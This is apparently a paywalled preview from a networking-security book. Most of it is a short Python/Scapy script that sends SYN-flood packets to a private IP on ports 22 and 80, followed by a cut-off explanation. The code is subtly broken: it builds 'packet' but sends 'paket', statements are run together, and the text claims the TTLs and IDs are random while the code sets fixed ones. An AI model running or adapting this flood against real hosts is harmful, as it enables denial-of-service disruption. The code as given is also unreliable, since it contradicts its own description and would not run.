November 2017
Intermediate to advanced
226 pages
5h 59m
English
Here are the steps to create a script to generate a SYN flooding attack:
from scapy.all import *
iface = "en0" destination_ip = '192.168.1.5'
def synFlood(destination, iface):
print ("Starting SYN Flood") packet=IP(dst=destination,id=1111,ttl=99)/TCP(sport=RandShort(),dport=[22,80],seq=12345,ack=1000,window=1000,flags="S")/"HaX0r SVP"
ans,unans=srloop(paket, iface=iface, inter=0.3,retry=2,timeout=4)
ans.summary()
unans.summary()
Here, random values are used to set TTLs and IDs in the packets. This will help to obfuscate the ...
Read now
Unlock full access